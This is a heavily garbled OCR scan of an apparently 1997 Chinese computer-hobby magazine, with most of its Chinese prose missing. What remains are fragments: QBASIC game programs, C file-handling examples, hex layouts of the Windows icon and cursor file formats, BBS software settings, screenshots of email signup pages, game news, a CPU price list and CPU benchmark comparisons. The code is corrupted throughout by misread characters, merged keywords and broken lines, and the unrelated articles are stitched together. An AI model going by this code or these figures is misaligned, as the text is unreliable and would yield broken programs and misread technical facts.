CIRCLE (px, py), Hi, 12
NEXT i
END ©
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1.
2.
3.
4. ESC
5. Q
QBASIC DOS6.2 486/
VGA

300 CLS : SCREEN 12: COLOR 3 !

500

PAINT (1, 1), 3

LINE (106, 26) - (534, 454), 1, B
LINE (107, 27) - (533, 453), 1, B
FOR i = 30 TO 450 STEP 30

LINE (110, i) - (330, i), 1
NEXT i

FOR i = 110 TO 530 STEP 30
LINE (i, 30) - (i, 450), 1

NEXT i

FOR y = 120 TO 360 STEP 120
FOR x = 200 TO 440 STEP 120
CIRCLE (x, y), 2, 1

NEXT x

NEXT y

LOCATE 3, 69: PRINT "NO. 0
LOCATE 28, 69: PRINT "(C)LZ.97. 4"

c=15f=15 '
X = 320: y = 240
n=20

DIM x(99), y(99)
FORi = 0 TO 99
x(i) = 0:y(i) =0
NEXT i

= -1*%f '
c=c+f

200 DO '

CIRCLE (x, y), 14, ¢

FOR i = 1TO 500: NEXT i

CIRCLE (x, y), 14, 3

PSET (x - 14, y), 1: PSET (x + 14, y), 1

PSET (x, y - 14), 1: PSET (x, y + 14), 1

LET K$ = INKEY$

IF RIGHT$(K$, 1) = "H" THEN dx = 0: dy = -30: GOTO 100
IF RIGHT$(K$, 1) = "P" THEN dx = 0: dy = 30: GOTO 100

.52,

700

IF RIGHT$(KS, 1) = "K" THEN dx =
IF RIGHT$(KS$, 1) = "M" THEN dx = 30: dy = 0: GOTO 100
IF K$ = CHR$(13) OR K$ = CHR$(32) THEN GOTO 400

-30: dy = 0: GOTO 100

IF K$ = CHR$(27) THEN GOTO 300
IFK$ = "Q" OR K$ = "q" THEN GOTO 600
LOOP

100 x = x + dx: y =y + dy: GOTO 200 '

400 FORi = 1 TO n !
IF x = x(i) AND y = y(i) THEN GOTO 700
NEXT i

CIRCLE (x, y), 14, ¢ '
PAINT (x, y), ¢, ¢

n=n+1

x(n) = x: y(n) =y

LOCATE 3, 69: PRINT "No.”; n; "
GOTO 500

IFx = x(n) ANDy = y(n) THEN '
CIRCLE (x, y), 14, 3

PAINT (x, y), 3, 3

LINE (x - 14, y) - (x + 14, y), 1
LINE (x, y = 14) = (x, y + 14), 1
x(n) = 0: y(n) =0

n=n-1
LOCATE 3, 69: PRINT "No."”; n; "
GOTO 500
ELSE
BEEP: GOTO 200
END IF
600 END ©
1
EDIT DOS

Shift+ T |« —
Ctrl + Insert
Shift + Insert
Shift + Delete
Cul+ T |« —
©
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4 Windows Icon XA (32 %
32bits- 16colors )

0008: 2
00h
0009 00h
000A ~ 000D 00h
000E ~ 0011

02h 16 10h 256

Cursor

2FEh -
16h
0012 ~ 0015
16h +1

2.

0016 ~ 003D

Icon MS — Windows
“.1c0”
True Color
CGA 32 * 16bits
l6colors  Monochrome 32 % 32bits  2colors EGA/
VGA 32 % 32bits 16colors
.ICO 3

32 * 32 bits 16 colors

0000 00 00 01 00 01 00 20 20 10 00

0010 00_00 16 _00 00 00 28 00 _00_ 00
0020 00_00 01 00 04 00 00 _00_00_ 00

0030 00 00
0040 00_00
0050 00_00
0060 80 00
0070 00_00
0080 00 00

00 00 00 00

20_00_00_00

00

00_02 00 00

00 00 00 10 00 00 00

10 00 00 00

00

=N
|o|o|§
[l [l

SIS

00 00

00 _BF 00 00 _BF 00 00 00 BF BF 00 BF 00

BF

00 BF 00 BF _BF 00 00 CO_CO _CO 00 80 80

00

00 FF 00 00 FF 00 00 00 FF FF 00 FF 00

FF

00 FF 00 FF FF 00 00 FF FF FF 00 00 00

00 11 11 11 11 00 00 00 00 00 00 00 00

0270 00_00

00 11 11 11 11 00 _00 00 00 00 00 FF_FO

0280 OF FF

30 01 FF FE 00 00 7F FC 00 00 3F F8 00

02F0 00 3F FE 00 00 7F FF 80 01 FF FF FO OF FF

1.

0000 ~ 0015

0000 ~ 0003

0004 ~ 0005
0006:
0007:

Computer Fan 1997 . 8.

0016 ~ 0019 28h
001A ~ 001D

001E ~ 0011

0012 ~ 0013
0024 ~ 0025

0026 ~ 0029

002A ~ 002D
002E ~ 0031 “ 00h
0032 ~ 0035
0036 ~ 0039 0

plane

00h”
280h

003A ~ 003D

3. 003E ~ 007D

4. 007E ~ 027D

RGB 00h 00h 00h
5. 027E ~ 02FD

Bit8
Bit7
Bitl
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Bit8
Bit7
128
1024 4
4
3
B 4
027E Bit 4 00 1
027E Bit ; 10 1
027E Bit » 60 1
027E Bit , 70 1
027F Bit 4 80 1
027F Bit | 15 0 0
02FD Bit 4 31 24 1
02FD Bit , 31 31 1

_—

32bits. 16¢colors )

Cursor

32bits 16Colors

MS — Windows

“

.CUR"

CGA Monochrome 32%*

00

. CUR

Orvine:  37°32 1RCnlnr,

4 Hatapat 515
=l ]

. 54.

¥ Windows Cursor XA 32 %

True Color

32 % 32 bits
16 Colous)

0000 00_00 02

0010 00 00 16

00
00

01 00 20 20 00 00 OF 00 OF 00 E8 02

00 00 28 00 00 00 20 00 00 00 40 00

0020 00_00 01 00

0030 00_00 00

0400 00 _00 00 00 00 _02 00 00 00 00
00 _00 10 00 00 00 10 _00_00 00 00 00

0040 00_00 00

BF_00 00 _BF 00 00 00 BF BF 00 BF 00

0050 00_00 BF

BF 00 BF_BF 00 00 CO_CO _CO 00 80 80

0060 80 _00 00

FF_00 00 _FF 00 00 00 FF FF 00 FF 00

0070 00 00 FF

FF 00 FF FF 00 00 FF FF FF 00 00 00

0080 00_00_00

11 11 11 11 00_00 00 00 00 00 00 00

0270 00 00 00

00

11 11 11 11 00 00 00 00 00 00 FF FO

0280 OF_FF FF 80 01 FF FE 00 00 7F FC 00 00 3F F8 00

02F0 00 3F FE 00 00 7F FF 80 01 FF FF FO OF FF

1. 0000 ~ 0015

0000 ~ 0003
0004 ~ 0005
0006
0007
0008
0009
000A ~ 000B
000C ~ 000D
000E ~ 0011

0012 ~ 0015

00h
00h

2FEh -
16h

16h + 1

2. 0016 ~ 003D

0016 ~ 0019
001A ~ 001D

001E ~ 0011

0012 ~ 0013
0024 ~ 0025
0026 ~ 0029
002A ~ 002D
002E ~ 0031
0032 ~ 0035
0036 ~ 0039

003A ~ 003D

28h

plane

00h
280h

003E ~ 007D

007E ~ 027D

5. 027E ~ 02FD

(%)
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=FRIM 5

A2 55

#include <stdio. h>
main (arge, argv)
int argc;
char *argv[];
{
FILE * fin, * fout;
if(arge! =3)
{
printf (" \nusage: % s infile outfile. \n”
exit(1);
}
if ((fin = fopen(argv[1],’r”)) = =NULL)
{
printf (”Cannot open infile. \n”);
exit(2);
}
if ((fout =
{
printf ("’ cannot open outfile. \n”");
exit(3);
}
while (! feof (fin) ) fputc (fgetc (fin), fout);
fclose (fin);
fclose (fout);

}

, kargv);

fopen(argv[2],”w”)) = =NULL)

fin fout

FILE

fclose ()
fout = fopen
fclose (fin)

1 fopen()

fin = fopen (argv[1],”71”)

(argv[2],”w”)
(fout)

2 fgetc ()

fclose

fputc ()

Computer Fan 1997 . 8.

fputc (fgete (fin),
fout)
3
feof ()
feof (fp) 1 fp
0
argc
fin
fout
while

fputc (fgetc (fp, fin), fout)

#include <stdio. h>

char s[3][10] =
{6,10,7}

int x[] =
main ()
{

int i;

{"CHINA”, "AUSTRALIA”, "CANADA” };

char a[3]1[101;

FILE > fp;

fp = fopen("abe. txt”, "w”);

for (i

=0;i <3;i+ +)

fputs(s[il, fp);

fclose (fp);

fp = fopen(”abc. txt”, ’r”);

for (i

fgets(alil, x

=0;i <3;i+ +)

[il, fp);

for(i=0;i <3;i+ +)
printf ("% s\n”, * (a+1i));

fclose (fp);
}

fputs ()

fgets()

abc. txt, for

for 3
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a for a

#include <stdio. h>
main ()
{
int i, x, y;
FILE > fp;
fp =fopen("xy. dat”, "rb +7);
for(i=0;1 <20;i+ +)
fprintf (fp, "% 5d”, i+ 1);
printf (" \ninput x: ”);
scanf("% d”, & x);
for(i=5*%x;1 <5* (5+x);i+ =5)
{
fseek (fp, (long)i, 0);
fscanf(fp, "% d”, & y);
printf ("% d\t”, y);
}
fseek (fp, (long)5%* x,0 );
fscanf(fp, "% d”, & x);
printf (" \n% d”, x);
printf (" \n”);
fclose (fp);
}
input x: 10

11 12 13 14 15

11
fscanf () fprintf
O fseek ()
Xy. dat
for fprintf () % 5d xy. dat
1 20 for
fseek () 10
fscanf() printf()
11 5 11
15 fseek ()
11 11
1.
#include <stdio. h>
main ()
{
FILE > fp;
char al] [10] = {" abed”,” efghij”,” klmno”,” pgrst”, ” u-
vwxyz” };

int i; char x;

. 56.

fp = fopen("xyz. txt”, "w +7);
for(i=0;i <5;i+ +)
fprintf (fp, "% —10s”, alil);
rewind (fp);
for(i=0;1 <5;i+ +)
{
fseek (fp, i* 10L, 0);
fscanf(fp, "% c”, & x);
printf (" \n% ¢”, x);
}
fclose (fp);
putchar("\n’);
}

2.

#include < stdio . h >
char a[] [8] = {” FORTRAN”
PASCAL 7, ” Turbo ¢ ” };
main ()
{

int i

char b[4]1[81;
FILE * fp;
fp = fopen ( " abc. txt7, "w + 7 )

> COBOL

for (i =01 <4;i+ +)
fputs (a [i], fp);
rewind ( fp ) ;
for(i =0;1 <4;1+ +)
fgets (b [i], 8, fp);
for (i =0;1 <4;1+ +)
printf (7 % s\n”, % (b +1i));
fclose ( fp ) ;
}

1. Wang LI 95. 50
22b122¢g
3.11,10, 11,11, 21, 42

—
o

(=TT ¢}

2. FORTRAN
COBOL
PASCAL
TURBO C
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BBS

(]
BBS 14. 4K
MUD 33. 6K
! Modem
BBS UMC Modem !'!!
Modem
Modem
UMC
Zoltrix144
BBS
English Modem
Super BBS
BBS
SuperBBS, PowerBBS, KingBBS, RA,
R + WildCat. . . RA Remote
| Super BBS! | Access
| |
) 5 | BBS
I (D) [ 2.02 2.5
| | BBS
oot * 2.5 2.02
ARJ
486 zZIP D: \
M RA RACONFIG. EXE
RA
G 1. 6G
File System Option Modem Manager
1G BBS
System Path ( )
Modem SYSTEM( ):
° 14.4K PATH: ()
® e o o 43 6K System (RA ) =D: \RA
o 10 64601323 : Menu ( ) =D: \RA\MENU
63917998 6401332 o7 (o TEXTfiles ( ) =D: \RA\TEXTS

Computer Fan 1997 . 8.
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=D: \RA\MSG
=D: \RA\FILE
=D: \RA\Ra. log

Msg base ( )
File base ( )
System log ( )

Site info: ( )

BBS )Super BBS
) Super Man

)Cheng Du

Name: (
Sysop: (
Location: (BBS

Option

New User ( ):

Security ( ): 50
A flag (

B flag (

C flag (

D flag (
Credit (
Group: 0
ANSI(
AVATAR(
Clrscr (
More: Yes
Sub days: 0
UL credit( ):1
EchoCheck: Yes
Sex (

Data phone (

— = — e

): 50

ANSI ): YES
AVATAR
): Yes

): No

): Yes

): Yes
Voice phone ( ): No
One word names: No
Handle: No
Birthdate (
HotKeys (

Fs msg view: No

): No
): Yes

Fs msg edit: No
IEMSI: No
Language ( ): 0
Date format: DD - MM - YY
Cap location: No
UL creditK: 1
Mail address: No
Telphone scan (
):
Fast logons (
No): No
Check multi:  No
Remote sysop ( ): No

): Yes

Exclude sysop( ): Yes
Text shells :  No

Log style (

Multi node ( ): No
): Auto — detect
Screen blank ( ,
After msgs ( 0

ALT -] swap(
Use XMS(

Use EMS(
Save password (
): Yes

IEMSI: Yes

): Expanded

Environment (
): 30
): 0

DOS ): No
): Yes
): Yes

? YES

XMS
EMS

Pwd echo (

Auto ANSI/RIP(
Yes

Pwd tries (

Pwd change (

0 ): 0
Pwd strict: No
Pwd length (
Logon time (
User timeout (

): 120
Watchdog area: 0
Sysop area : 14
Check DOB (
Limit local : No
Blank logins (

): 5
Prompt (

Logon prompt (

) *x
ANSI/RIP ):

(' Zhang San):
Modem

Option:
Comport (
):1
Speed (
Lock (

Modem

Modem

): 38400
): Yes

Manager

Mag areas ( ):
Name (

" Origin:

File Area( ):
Origin Path

RA

copy RA
Chinese

Name: Chinese
Available: Yes

Menu path: \RA \Menus
Text path: \RA \Texts
Ques path: \RA \ques
Filename: Chinese. ral

File\.
Language ( )

Please
BBS !
Chinese. ral
Language
: Chinese, English
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E — mail
! Internet
Internet
Internet
E — mail E — mail ?
E — mail USA. NET
USA. NET
e et . 14 Yot [LI=]]
Uie ey New Go Bockmarks gotlens Pirectesy Yindse Eelp
-
1ay wl
L 1.1&- Dave ,‘,E"
i:m\nl [ R
With NetAddresr= youlnere agan  NetAddrerr sl allows you to jend
bave 1o change your e-mad sddrer  and recerve e om any computer
st becmase you mmove of rudchte & wnth Weeld Wide Web accrsi
dferent latemet Servee Prowder wnthisg humeg te rrmember fiosn —
That seand no mece feprntng your  Crypic semngs tha are m:&: L]
Vs cards and etterhead wd your vt o-mad ernce Seand
rdsrmeg your fnendi ] Gy whes goord to iy ivth
your e-mal addrens changes, because 5o hnrly tuk fo (munnlww
with HetAddreer, ot never has 8o
g
. o - =|
sl (BN of 14K (a0 785 byrea/iec) ] I [— i
NetAddress
usa. net
E — mail
USA. NET Web E — mail
Web USA. NET
USA. NET
Netaddress
Internet “ !
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Internet Internet
E — mail
E — mail

Netscape IE “ http: / /netad-
dress. usa. net” Ne-
tAddress

“ Click here to Netaddress”,
Lastname Firstname ,

E — mail

C oa
| e Lony. %
T tony-x2
© DuBussne
CHOOSE YOUR NEW © tmulurene
NETADDRESS AND PASSWORD!  tonyruiuenr
Your NetAddress con be anyihing you r : A
o3 long 03 # hasnt ciready been chosen by XY Fuenne
onomer subscriber. For exompio, If you chocse 1oy fony .
e nome “Joo”, your e-moll oddross will bo
oot net © tony-0a
Your password and can be ary combinafion  © sstor e
of lefters of numben, ond s moeant o keop
prying eyes out of your e-mall. For your
oaﬁwms«m & CHOOSE YOUR OWNI
onily o you. |

ALL SURSCRIBIRS TO MITADOE1SS
RAVE SURANIT A5 THE SUFFIX TO
THEIR ML ADDRISS,

CHOOH! TOUR PASTWORD!
You may change your
oxmrwoed nber

E — mail

E — mail

E — mail
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E — mail Tony. xu@ usa. net
| NET@DORESS! 2:t~  MENmosc % iEfws v*47% ]
LOgil’l USA. NET [ waLcom l[ﬁ]jmu] ||mum]jmaln,, ) os our |
485 Welcome
. Thank you for subscribing to ™« tAddness.
ReqUIred Please take thes teme to 6l 7 your perccasd sfomution and answer the foloweg thort parvey
i " After you bave completed the personal mfonmaticn and survey,
your NWetdadness account will be ready to use
E — mail
Faalee oY
LN G
http: / /netaddress. usa. net/NA /Door/Login Sttt €CUSA) [Nor Solected ]
login e
Coussy [USA [please specify state (above)] ¥
1 "
password @ usa. net youd |lf|:h:qu|red]

‘ E - mail
" wWer? © Female T Male

=
: ’ 7o | (Required) |
o (Roared) =)

| CONGRATULATIONS!
YOU'RE NOW SUBSCRIBED TO NETADDRESS! TOUR NITADORILS IS el
Onthe right, you wil finct @
| Your Official NetAddress! B s | pour I[Rﬂquimd] -
b g vom pasvwon ok | Gios? |

Bo wae ho wife Merm Gown 0
VOL COP TBMGMEa MaeTV) |

|  Once ogain hank you fof your ime ond palience. o 1 reCamrTanded ol
hofoe COngwrd -
| Cick e buson below 1o retum 1o he 586 you b -+ o Finished I MI
visted before fnding out about netaddress! Nothsen
| : CLICK “LOGIN" TO USE
""’“’ et il ) S et M | Matoey | MasA gent | Miud Biides | Praferen)
fogin |
—— — te itdibrmen®™ 1907 LUZA HET. leue
NetAddress E — mail

NETQ@DDRESS FNET

| wercomst || reatunes )| raq || susscmise || (Mmullbﬂll

NetAddress” Login Window 72 |nternet mii **"B‘i

Type m your personal accout mformanconto  This section is for registered

enter NetAddress~ users of NetAddress- only.
you bave not yet regastered,
Voo repster now for FREE For l:‘
Waene ony-xu@usanet regstered NetAddress users,
be sure 10 make a bookmark of

Password | thas page for camer access to
1. EA

thes service. Addbonally, most
Enter NetAddress 1 browsers alow you to make

NetAddress= your stamup page http: //www. ea. com/
whenever you browse the
M Check this box if you are ¥y
concemed sbout :':nzar-: cicking  Teemet Consuk your browser's 2. SONY
- . decumentabion.
(i‘i:f: ;ndaccunre your accourt http: //www. sony. com/
e,

3. SEGA
¥ . emad sddiens, and
o bttty e http: //www. sega. com/
Your prteword it not cute- fenstrve

4. LucasArt
http: //www. lucasarts. com/
5. KONAMI
USA. NET E — mail http: //www. konami. com/
6. Sierra

http: //www. sierra. com/

7. Intelplay

http: //www. interplay. com/
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7 S IV s N S -
L]
COM
RS232C MO-
DEM RS232
25
1 2
1
2 o 3
P 2
45— - e e o 8
622 — - ————__ 20
7 7
B o e mm 45
20— - —— - — - 6 22
QBASIC
open" 1 2" [for Jas[#]
[ ]
COM1 COM2

1 [ 10T It
[ 1T 111

75 150 300 600

1200 1800 2400 9600 300
EOSMN
5678 8
11.52 1

. 62.

FOR OPEN

ON COM n GOSUB { }
COMn

COM n ON/OFF/STOP
COM n / /
ON COM n GOSUB
COM n ON

REM .BAS
DECLARE FUNCTION NUMBER! (NUMBERS$)
CLS
REM
OPEN "R”, 1, "COM2: 4800, N, 8, 1, CD0, DS0, DS0"
REM
INPUTFLG =1
WHILE INPUTFLAG = 1
LINE INPUT "
):", NUMBER$
INPUTFLAG = NUMBER (NUMBERS$)
IF INPUTFLAG =1 THEN PRINT "
$(7)
WEND
REM
INPUT " 2(Y/N):", STARTFLAG$
STARTFLAG$ = UCASE$ (STARTFLAG$)
IF STARTFLAG$ ="Y” THEN
STARTFLAG =1
ELSE
STARTFLAG = -1
END IF
REM
CLS
LOCATE 21, 1
PRINT STRING$(78,"*")
LOCATE 21, 50
PRINT "[
LOCATE 23, 1
PRINT STRING$(78," % ")
ENDFLAG =0
REM
WHILE ENDFLAG =0
REM
IF STARTFLAG =1 THEN
COUNT = COUNT + 1
IF COUNT> 1 THEN
LOCATE 22, 1
PRINT STRING$(78,” ")
LOCATE 22, 1
PRINT "[”; NUMBER2$; " 1"

111"+ CHR

;" NUMBERS; "1"

W AT E 1997 . 8.



LINE INPUT; ANSWER$
PRINT #1, UCASES$ (ANSWERS$)
IF UCASE$ (ANSWERS) ="4A" THEN
LOCATE 22,1
PRINT " 111"+ CHR$(7)
ENDFLAG =1
END IF
END IF
IF ENDFLAG =0 THEN
INPUTFLAG =1
WHILE INPUTFLAG =1

LOCATE 22, 1
PRINT STRING$(78," ")

LOCATE 22, 1

LINE INPUT " : " NUMBER2$

INPUTFLAG = NUMBER (NUMBER2$)
IF INPUTFLAG =1 THEN PRINT CHRS$(7)
WEND
REM
PRINT #1, NUMBER2$
STARTFLAG = —1
END IF
ELSE
REM
LOCATE 22, 1
PRINT " "
COUNT = COUNT + 1
IF COUNT> 1 THEN
REM
INPUT #1, ANSWER$
SX=SX+1
IF SX> 20 THEN SX =1
LOCATE SX, 1
PRINT NUMBER2$;" - — — — — — > " ANSWERS; " "
ENDIF
IF ANSWERS ="4A” THEN
ENDFLAG =0
LOCATE 22, 1
PRINT " ! e
ENDFLAG =1
ELSE
INPUT #1, NUMBER2$
ENDIF
STARTFLAG =1
END IF
WEND
CLOSE
REM
FUNCTION NUMBER (NUMBERS$)
IF LEN(NUMBERS) <> 4 THEN
NUMBER =1
END IF
FOR I=1TO 4
IF MID$ (NUMBERS, I, 1)> "9” OR MID$(NUMBERS, I, 1)
<"0" THEN
NUMBER =1
END IF
NEXT I
FOR I=1TO 4
FOR J=1+1 TO 4
IF MID$ (NUMBERS, 1, 1) =MID$ (NUMBERS, J, 1)
THEN
NUMBER =1
END IF
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NEXT J
NEXT I

END FONCTION

7534
6524
7812
7532

5612

4A

1A1B
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DOS
WWF
DIABLO FIFA 97
C&C m
]
VR
16 WWF I
PLAY STATION
TV GAME E—
DOS
(B ANIT N
90 386
8
1995
WINDOWS TV GAME
1992 2 X
I
I STREET
FIGHTER I 1996 PS 32
—— KEN RYU
GAME FANS COMPUTER GAME FANS
32
112 I 16  — MIDI
I 486
= DOS 32
8 12 PS PC
16
_ "
i3
@tl
i
%
5
: — B 1995 98 RPG
§ mraem= [1 TLRBO » I — PC98 1
v N——
I SLG
16M Il
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—— 3DO
D 1996
3DO
AVI
WINDOWS 95
1995 WINDOWS 95
e WINDOWS 95  Direct X
Direct 3D
TV GAME
“ WINDOWS 95 ”
e GAME BANK
SNK ENIX SQUARE
TV GAME
WINDOWS
™
B4
B L
)
e BUG
1 GEX 3DO
L Rk ]
WINDOWS —_
640X480
WIN 95 DOS
1996
—— VR
3D
3D
REMIX VR Il
SONIC
VR
VR
16 e
1996 GAME =#
7l
BANK x
# B
SNK #
e
. #
#
3 GAME #*°
BANK § et A7)
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GAME BANK

CD

SNK

BANK

40

2D

40

R -TFR—TMI A I

CD

Direct X 3.0

2D

3D

TV GAME

VR II

II

KONAMI

VII

WINDOWS 95
16M
CAPCOM

VR 3
MMX

SONIC 3D BLAST

& KNUCKLES PS
64

TV GAME

3D
GAME BANK
STREET FIGHTER ZERO
CD
KONAMI
TV GAME

Q

VII

P133/

PS

3D

Virtua Squad SONIC

No64

—— Direct X 5.0

©
W AT E 1997 . 8.



M

Q FIFA%  NBA 9%

A AUTOEXEC. BAT
BLASTER = A220 17 D1”

Q: \

P133/16MB/1GB —
Ay Co

v
5.0

Q STREET FIGHTER Il TURBO

A “ ALT +X"
CD
cD
A CD
— CD
cD
23—
23
22 CD
3

SEA
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SET

ESC

CD
CD

22
CD

PCTOOLS SAVEDA-
TA. S5 FIND
FIND
MAGIC
Pctools  Editor

Sector 0000 disp 0072 4
Sector 0000 disp 0014

Sertor 0028 disp 0345
disp 0437
Pctools  Find

16
00 00 00 00 00

(Rl bl bl b e hel R e ey feg byl L e aan el b g Ly AN

GAME

GAME

2000 4000

E — mail: cfan @ netchina. co. cn

R e e e e e e e T R R T B R e R R e e e e e St BN
R R T B e B R e e e e e R R R e e R = e B B ]

R T R R e e e B e R R e R R R R
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INTEL P55C
PHOTOSHOP
M1 CPU
M2
1”4 ;F SOCKET 7
[ AMD
1997.7.7) 8M EDO 265
240
CPU  CY P166 + 760 CY P166/MX 1950 32M EDO M
CY P200/MX 2550 CY P150 + 680 AM SM 16M
AMD K5-166 800 AMD K6 -P166 2300
AMD K6 —P200 2960 IN 166 1650 8
IN 133 1100 IN MMX166 2200 16M “ "
IN MMX 200 4200 IN PRO 180 3300
4AM EDO 125 8M EDO 240
16M EDO 460 32M EDO 880 X ATX
MS -5128 910 MS -5143 900
MS -5145 1250 MS -5148 1300 MS - 5128HX
ATC -2000 880 ATC =5000 990
586HX 930 PSTX -A 1180
8661 860 ATX8661 1850
HX 990 X 1260
1.6G 1480 2.1G 1630
SEA 1.7G 1290 SEA  2.1G 1400 6
1.7G 1260 2.1G 1410 “ ”
1.2G 1120 1.6G 1230
MAX 120MB 680 IBM 270MB 780
8 x 510 SONY 8 x 730
12 x 750 8 x 560
8 x 750 SONY 16 x 760
8 x 590 12 x 630
9685 280 vV 260
ET6000 550 9630 160
3D 125 145
90 100
EMC 14 " 1300 EMC 15 " 1900
PHILIPS 14 " 1700 PHILIPS 15~ 2400
( )
\ 1 2 3
UChos WIN95 RICHWIN CY 150 + CPU 680  8M EDO 240 256K
Visual FoxPro Visual Basic Visual C + +
470 IBM 270MB ( Stacker
MIS MIS MIS Quick MIS 540MB WINDOWS
Kv300 ) 780 390 9685
cD
, 280 3D 100 VGA VCD
500
400 1. 44M 155
MMX CPU
CYRIX M2 5990 o0
©
CPU
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Beb® g ——
CPU

O

MMX A % TX % H 8 E M ATX A&
Aol REHE AR AR, ELFKEINTEL #9% 3T,
2% A& 6 HA ; FAABHU AT I A B A2 R AL SR A
LR AMEEEA P KRBT, AR BT A X R
Al & A R i H R — AN R LFE

64K BYTE
Ml 16K BYTE

1996
586 IN-
TEL 1997
CPU
INTEL  P55C PENTIUM I AMD K6
CYRIX M2
57 CPU
CPU
CPU
CPU
1. AMD -K6 MMX
AMD K6 RISC
6
X86 7
AMD K6
95% 57
INTEL MMX
K5 CPU
K6 o
K6 AMD
32K + 32K SMM
SCOKET 7 66MHZ 64
0.35um 5 CMOS 162
2. CYRIX M2
M2 CYRIX
MMX
CPU 2X 2.5X 3X 3.5X
CORE/BUS
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64
SOCKET 7 M1
X86
WINDWOS 95 WINDOWS NT WINDOWS O0OS/2
DOS SOLARIS  UNIX M1 CPU
INTEL
M2 CPU
2.8V 3.3V1/0
M1
M2 SMM FPU
MMX
M2 INTEL P55C
M2 0.35pm 4 CMOS
169 17
“ ! AMD “ ? INTEL * ?
3. INTEL P55C
INTEL
PC
P55C
X86 3
75 ~
80% MMX
P55C CPU
16K +
16K SMM
SCOKET 7 INTEL
141 P55C
16
INTEL
4. INTEL PENTIUM I
PENTIUMII INTEL PENTIUM
71



PRO 32
RISC
5
PENTIUM [l X86
90%
MMX
16K + 16K SMM
SLOT 1
5. CENTAUR IDT -Cé6
CPU
INTEGRATED
DEVICE TECHNOLOGY (IDT) CEN-
TAUR 1995
CPU
MMX
RISC MMX
CACHE
SMM SCOKET 7 296
CPGA 3.3V 540
0.35um 4 CMOS 38
10
CpPU
1. AMD Ko6
CPU
586
CPU AMD K6 P —-RATING
INTEL  P55C PEN-
TIUM I AMD Ko 32
K6 WIN-
STONE 97 WINDOWS 95  WIN-
DOWS NT
CPU WINSTONE 97

72,

) PENTIUM-200MMX
B PENTIUM PRO 200
B AMD K6-200 MMX
§ AMD K6-233 MIMX

AMD
INTEL  PEN-
TIUM PENTIUM PRO
INTEL PENTIUM I
AMD Ko 636
AMD K6
20 (AMD K5
16 K5
)
AMD
AMD
AMD
2. CYRIX M2
ZIFF - DAVIS WINSTONE 97
32

Macromedia Director

PENTIUM-2000MMX
SPENTIUMI] 233
B CYRIX PR-200 MMX

§ CYRIX PR-233 MMX
P55C
Ml
INTEL
M2
CYRIX

PR233 PENTIUM MMX - 200
K6 — PR200 PENTIUM MMX233 AMD
K6 - PR233 7% Fractal
Design Ray Dream Studio
Adobe Photoshop MMX - 200
39% MMX -233 K6 -PR233 31%

r-233 21%

I -266 2%
CYRIX CPU
CPU
3.P55C  PENTIUMII
INTEL
MMX CPU P55C PEN-

TIUM I P55C
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Iy

SOCKET 7 PENTIUM II
PENTIUM PRO
SLOT 1 INTEL

INTEL
AMD CYRIX TI

INTEL

“ BUG”
32 32
AMD CYRIX
P —RATING
4. IDT - Co
IDT - Co6
WINDOWS 95  WINDOWS NT

WINDOWS 3. X MS-DOS OS/2 WARP U-

NIX

3
33
37
36
35
24
33

B PENTIUM-200MNGL

W IDT-C6 200
E CYRTX PR-200 MMX
AMD K6-200 MhE

WINSTONE 97

1998

CPU

AMD
INTEL

CYRIX

CPU

K6 166 | K6 200 | M2 166 | M2 200 | M2 233 | P55C 166 | P55C 200

2300 2960 1950 2550 3660 2200 4200

AMD
CYRIX 586
CPU
AMD P55C
166
INTEL
Ko6

M2 CPU
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CPU
CPU  WINDOWS
95  WINDOWS NT
MMX CPU
INTEL
INTEL
AMD  CYRIX
AMD CYRIX
"% SONY” INTEL
! AMD
CYRIX
TI CPU
CPU
INTEL @

MPEG Moving Pictures Experts Group) ——

ISO IEC
1988
MPEG ISO/IEC 11172(
MPEG -1 ISO/IEC 13818(
MPEG -2)

DSM - CC Digital Storage Media

Command and Control )

PCI Peripheral Component Interconnection) ——

PCI 32 64
/ PC

PCI 32 132Mbytes /
S 64

246Mbytes /s PC

ISA
PCI (kw x&EA)
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1997 5

WPS  Word

Internet
linux

UNIX

80 — 100
Tubro  Basic

" TB WS  WPS
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VCD

’ TB CCDOS

s “ Rl

5

DOS

“target$ (i, j):
"source$ (i, j):

" movingstep:

500

"nullx nully:

"begaintime:

"timeused:

" stepused:

*finished$:

*quitsure$:

‘quit:  F1

"move: movedirection

' swaping:

cls

dim target$ (50, 50), source$ (50, 50)
randomize timer

on key (1) gosub quit

key(1) on

color 6

locate 3,27 : print ”

locate 18, 18 : print ”

»

»

locate 20, 35 : print "F1 — —
movingstep = 500
nullx = 14 ¢ nully =45
timeused = o : stepused =0
for i =8 to 14 step 2
for j =29 to 45 step 4
read target$(i,j) : read source$(i,])
next j
next i
for i =1 to movingstep
if int(rnd *4) =0 then ik$ = chr$(72)
if int(rnd*4) =1 then ik$ =chr$(75)
if int(rnd * 4) =2 then ik$ =chr$(77)
if int(rnd * 4) =3 then ik$ = chr$(80)
gosub move
next i
begintime = timer
do until finished$ =""Ture”
ik$ =right$ (inkey$, 1)
gosub move
finished$ =" Ture”
for i =8 to 14 step 2
for j =29 to 45 step 4
if target$ (i, j) <> source$ (i, j) then finished$ ="
False” : exit for
next j
next i
loop
locate 14, 45
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A

»

print ”

play ” <l16cde”

timeused = int (timer — begintime

locate 20, 25 : print ”

locate 21, 25 : print ”

end

data” 7,7 )oY
»

data” 7,7 )y U0
»

data” 7,7 v,y 0”7

”»

I LR LR CHE TR 1)

data ’ R R R R
move:
select case ik$
case 7
case chr$(72)
if nullx <14 then
movex = nullx
nullx =nullx +2 :
gosub swaping
end if
case chr$(80)
if nullx> 8 then
movex = nullx
nullx =nullx — 2
gosub swaping
end if
case chr$(75)
if nully <45 then
movex = nullx
nullx = nullx
gosub swaping
end if
case chr$(77)
if nully> 29 then
movex = nullx
nullx = nullx
gosub swaping
end if
end select
return
swaping:

swap target$ (movex, movey ), target$ (nullx, nully)
locate movex, movey : print target$ (movex, movey)

»

locate nullx, nully : print
stepused = stepused + 1
return
quit:
end

return

)

”: timeused; ”
”; stepused; ”

[IRES) » »
3 » [T
[ 5 9

I O T

5 5 5

movey = nully
nully = nully

movey = nully
nully = nully

movey = nully
nully =nully +4

movey = nully
nully =nully —4

”»

BITTER LILAC

236
(023)63609794
E — mail: lilac@ public. cq. sc. cn

(630015)
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ARBHPRTANFZALRER 444 BFR

FEFRAKRELPEHRERSAE, FERXFHIZEZLE
AR,
ax>+bx + ¢ =0( a, b, c )
abec
(1)
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ESS 868 DOS  WINDOWS 3.2
WINDOWS 95
WINDOWS95
WINDOWS 95
WIN-
DOWS 95 ‘ b
WINDOWS 3.2
WINDOWS 95
WINDOWS 95
WINDOWS 95 “
